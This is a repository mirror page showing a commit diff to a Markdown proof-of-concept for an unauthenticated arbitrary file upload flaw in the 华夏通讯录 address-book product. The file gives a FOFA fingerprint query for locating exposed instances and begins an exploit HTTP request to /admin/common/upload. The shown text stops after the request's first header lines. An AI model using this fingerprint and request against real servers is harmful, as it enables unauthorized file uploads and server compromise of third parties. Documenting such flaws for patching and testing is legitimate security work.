admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-06-20 18:01:14 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update 华夏通讯录存在前台upload任意文件上传.md

Browse Source
This commit is contained in:
Nexolanta 2025-03-06 16:37:00 +08:00 committed by GitHub
parent 8e28dbe4e9
commit 40f2bac1bf
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 3 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
wpoc/华夏通讯录/华夏通讯录存在前台upload任意文件上传.md
View File

@ -1,13 +1,13 @@
##华夏通讯录存在前台upload任意文件上传 华夏通讯录存在前台upload任意文件上传
华夏通讯录存在前台由于在鉴权方面存在疏漏，导致了可未授权访问，从而通过/admin/common/upload接口进行任意文件上传。 华夏通讯录存在前台由于在鉴权方面存在疏漏，导致了可未授权访问，从而通过/admin/common/upload接口进行任意文件上传。
##fofa fofa
``` ```
icon_hash="1403225079" && ":) APPV1" icon_hash="1403225079" && ":) APPV1"
``` ```
##poc poc
``` ```
POST /admin/common/upload HTTP/1.1 POST /admin/common/upload HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7